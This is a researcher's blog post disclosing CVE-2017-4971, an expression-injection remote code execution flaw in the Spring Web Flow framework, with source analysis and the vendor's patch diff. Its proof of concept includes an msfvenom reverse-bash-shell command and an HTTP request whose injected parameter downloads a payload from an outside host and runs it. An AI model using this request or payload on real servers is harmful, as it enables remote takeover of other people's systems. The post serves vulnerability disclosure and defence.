Main | ICS/SCADA Systems for Penetration Testers: A Typical Engagement »

CVE-2017-4971: Remote Code Execution Vulnerability in the Spring Web Flow Framework

Earlier this year, we approached Pivotal with a vulnerability disclosure relating to the Spring Web Flow framework caused by an unvalidated data binding SpEL expression that makes applications built using the framework vulnerable to remote code execution (RCE) attacks if configured with default values. This vulnerability was recently made public on Pivotal’s blog (

This post will explain in detail where this vulnerability was identified, using actual code samples, along with possible mitigations and details of the vendor fix. Pivotal has rated this as a medium severity issue, however, as is often the case in a specific context this issue could be very significant.

The Spring Web Flow is a subproject of the Spring framework and provides several components to implement MVC web applications with integrated flow definition and management. The flows and MVC views can be configured using XML configuration files. The generated servlet / portlet view objects are vulnerable to remote code execution (RCE) attacks, if configured with default values.

Proof-of-concept exploitation was performed on the following sample web application:


Analysing the framework, it was possible to identify the two conditions that are required for the generated web application to be vulnerable to RCE. These conditions are as follows:

  1. The useSpringBeanBinding parameter in the MvcViewFactoryCreator object needs to be set to false.
  2. spring‑webflow/spring‑webflow/src/main/java/org/springframework/
    129:   /**
    130:    * Sets whether to use data binding with Spring’s [email protected] BeanWrapper} should be enabled. Set to ‘true’ to enable.
    131:    * ‘false’, disabled, is the default. With this enabled, the same binding system used by Spring MVC 2.x is also used
    132:    * in a Web Flow environment.
    133:    * @param useSpringBeanBinding the Spring bean binding flag
    134:    */
    135:  public void setUseSpringBeanBinding(boolean useSpringBeanBinding) {
    136:          this.useSpringBeanBinding = useSpringBeanBinding;
    137:   } 

  3. A null BinderConfiguration object needs to be mapped in a view object.

These two conditions can be better analysed in the context of the web application example: spring-webflow-samples/booking-mvc.

  1. The useSpringBeanBinding parameter is set to true, which is not the default value. Therefore, commenting out the following configuration line, the default value will be set.
  2. spring‑webflow‑samples/booking‑mvc/src/main/java/org/springframework/
    46:  @Bean
    47:  public MvcViewFactoryCreator mvcViewFactoryCreator() {
    48:         MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
    49:         factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
    50:         factoryCreator.setUseSpringBeanBinding(true);
    51:       return factoryCreator;
    52:  }
  3. The BinderConfiguration object for the view “reviewBooking” is not configured, therefore it will be set to null. 
  4. spring-webflow-samples/booking-mvc/src/main/webapp/WEB-INF/
    16:  <view-state id=”enterBookingDetails” model=”booking”>
    17:         <binder>
    18:                <binding property=”checkinDate” />
    19:                <binding property=”checkoutDate” />
    20:                <binding property=”beds” />
    21:                <binding property=”smoking” />
    22:                <binding property=”creditCard” />
    23:                <binding property=”creditCardName” />
    24:                <binding property=”creditCardExpiryMonth” />
    25:                <binding property=”creditCardExpiryYear” />
    26:                <binding property=”amenities” />
    27:         </binder>
    28:         <on-render>
    29:                <render fragments=”body” />
    30:         </on-render>
    31:         <transition on=”proceed” to=”reviewBooking” />
    32:         <transition on=”cancel” to=”cancel” bind=”false” />
    33:  </view-state>
    35:  <view-state id=”reviewBooking” model=”booking”>
    36:         <on-render>
    37:                <render fragments=”body” />
    38:         </on-render>
    39:         <transition on=”confirm” to=”bookingConfirmed”>
    40:                <evaluate expression=”bookingService.persistBooking(booking)” />
    41:         </transition>
    42:         <transition on=”revise” to=”enterBookingDetails” />
    43:         <transition on=”cancel” to=”cancel” />
    44:  </view-state>

When these 2 conditions are met any MVC view object that extends the AbstractMvcView abstract class is vulnerable to RCE as detailed below.

62: /**
63:  * Base view implementation for the Spring Web MVC Servlet and Spring Web MVC Portlet frameworks.
64:  *
65:  * @author Keith Donald
66:  */
67: public abstract class AbstractMvcView implements View {

The View object starts to process a user event when an HTTP request is received.

210:   public void processUserEvent() {

211:     String eventId = getEventId();

212:     if (eventId == null) {

213:            return;

214:     }

215:     if (logger.isDebugEnabled()) {

216:            logger.debug(“Processing user event ‘” + eventId + “’”);

217:     }

218:     Object model = getModelObject();

219:     if (model != null) {

220:            if (logger.isDebugEnabled()) {

221:                   logger.debug(“Resolved model ” + model);

222:             }

223:            TransitionDefinition transition = requestContext.getMatchingTransition(eventId);

224:            if (shouldBind(model, transition)) {

225:                   mappingResults = bind(model);

226:                   if (hasErrors(mappingResults)) {

227:                          if (logger.isDebugEnabled()) {

228:                                 logger.debug(“Model binding resulted in errors; adding error messages to context”);

229:                          }

230:                          addErrorMessages(mappingResults);

231:                   }

232:                   if (shouldValidate(model, transition)) {

233:                          validate(model, transition);

234:                   }

235:            }

236:     } else {

237:            if (logger.isDebugEnabled()) {

238:                   logger.debug(“No model to bind to; done processing user event”);

239:            }

240:     }

241:     userEventProcessed = true;

242:   }

When the binding process between the input HTTP parameters and the current model starts, if a BinderConfiguration is not present the addDefaultMappings method will be called.

380:   protected MappingResults bind(Object model) {

381:       if (logger.isDebugEnabled()) {

382:            logger.debug(“Binding to model”);

383:     }

384:     DefaultMapper mapper = new DefaultMapper();

385:     ParameterMap requestParameters = requestContext.getRequestParameters();

386:     if (binderConfiguration != null) {

387:            addModelBindings(mapper, requestParameters.asMap().keySet(), model);

388:     } else {

389:          addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);

390:     }

391:     return, model);

392:   }

If the input parameter starts with the fieldMarkerPrefix string, in this case “_”, the addEmptyValueMapping method will be invoked.

462:   protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model) {

463:       for (String parameterName : parameterNames) {

464:            if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {

465:                   String field = parameterName.substring(fieldMarkerPrefix.length());

466:                        if (!parameterNames.contains(field)) {

467:                          addEmptyValueMapping(mapper, field, model);

468:                   }

469:            } else {

470:                   addDefaultMapping(mapper, parameterName, model);

471:            }

472:     }

473:   }

If the useSpringBeanBinding parameter is set to false, the expressionParser will be instantiated as a SpelExpressionParser object rather than BeanWrapperExpressionParser (which produces SpelExpression objects instead of BeanWrapperExpression objects). The SpelExpression object will evaluate the expression when the getValueType method is called.

483:   protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {

484:       ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());

485:     Expression target = expressionParser.parseExpression(field, parserContext);

486:     try {

487:            Class<?> propertyType = target.getValueType(model);

488:            Expression source = new StaticExpression(getEmptyValue(propertyType));

489:            DefaultMapping mapping = new DefaultMapping(source, target);

490:            if (logger.isDebugEnabled()) {

491:                    logger.debug(“Adding empty value mapping for parameter ‘” + field + “’”);

492:            }

493:            mapper.addMapping(mapping);

494:     } catch (EvaluationException e) {

495:     }

496:   }


The following proof-of-concept exploitation has been tested on the example web application spring-webflow-samples/booking-mvc. To perform the test on the application using the default configuration values the following line of code has been commented out. 

46:  @Bean
47:  public MvcViewFactoryCreator mvcViewFactoryCreator() {
48:         MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
49:         factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
50:         //factoryCreator.setUseSpringBeanBinding(true);
51:       return factoryCreator;
52:  }

A reverse bash shell payload has been created for the following proof-of-concept.

msfvenom -p cmd/unix/reverse_bash LHOST=[REDACTED].209 LPORT=4444 -f raw -o ./1


After deploying the web application example on a Ubuntu instance on the host [REDACTED].230, it was possible to access the application and start the flow of booking an hotel. When the application asks to confirm your details, it is possible to send a request similar to that shown below to execute malicious code on the server host operating system.

HTTP request:

POST /booking-mvc/hotels/booking?execution=e1s2 HTTP/1.1

Host: [REDACTED].230:8080

Content-Length: 189

Cache-Control: max-age=0

Origin: http://[REDACTED].230:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://[REDACTED].230:8080/booking-mvc/hotels/booking?execution=e1s2

Accept-Language: en-US,en;q=0.8

Cookie: JSESSIONID=1EA503C091D58D37FB0446EE59CFAF38

DNT: 1

Connection: close

_eventId_confirm=&_csrf=5e3e68b1-884c-47c9-8a4c-6c28f35bdffe&_new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,’wget http://[REDACTED].209:8000/1 -O /tmp/1; chmod 700 /tmp/1; /tmp/1’}).start()=

HTTP response:

HTTP/1.1 500

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-store



X-Frame-Options: DENY

Content-Type: text/html;charset=utf-8

Content-Language: en

Date: Mon, 05 Jun 2017 13:27:09 GMT

Connection: close

Content-Length: 10873

<!doctype html><html lang=”en”><head><title>HTTP Status 500 – Internal Server Error</title><style type=”text/css”>h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class=”line” /><p><b>Type</b> Exception Report</p><p><b>Message</b> Handler dispatch failed; nested exception is java.lang.IllegalAccessError</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.IllegalAccessError


The application returns an IllegalAccessError Exception, however the payload has been executed, as shown in the screenshot below.


The Spring Web Flow team released a new patch on May 31st, resolving the reported vulnerability. Replacing the default expressionParser object with a BeanWrapperExpressionParser instance mitigates the vulnerability since the latter parser produces BeanWrapperExpression objects, which according to the Spring documentation will prevent the method invocation:

“Note that Spring’s BeanWrapper is not a full-blown EL implementation: it only supports property access, and does not support method invocation, arithmetic operations, or logic operations.” [1]

import org.springframework.binding.expression.Expression;

import org.springframework.binding.expression.ExpressionParser;

import org.springframework.binding.expression.ParserContext;

+import org.springframework.binding.expression.beanwrapper.BeanWrapperExpressionParser;



import org.springframework.binding.mapping.MappingResult;


@@ -78,6 +79,8 @@

private ExpressionParser expressionParser;

+ private final ExpressionParser emptyValueExpressionParser = new BeanWrapperExpressionParser();


private ConversionService conversionService;

private Validator validator;

@@ -482,7 +485,7 @@ protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNam


protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {

ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());

- Expression target = expressionParser.parseExpression(field, parserContext);

+ Expression target = emptyValueExpressionParser.parseExpression(field, parserContext);

try {

Class<?> propertyType = target.getValueType(model);

Expression source = new StaticExpression(getEmptyValue(propertyType));



Reader Comments

There are no comments for this journal entry. To create a new comment, use the form below.

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
All HTML will be escaped. Hyperlinks will be created for URLs automatically.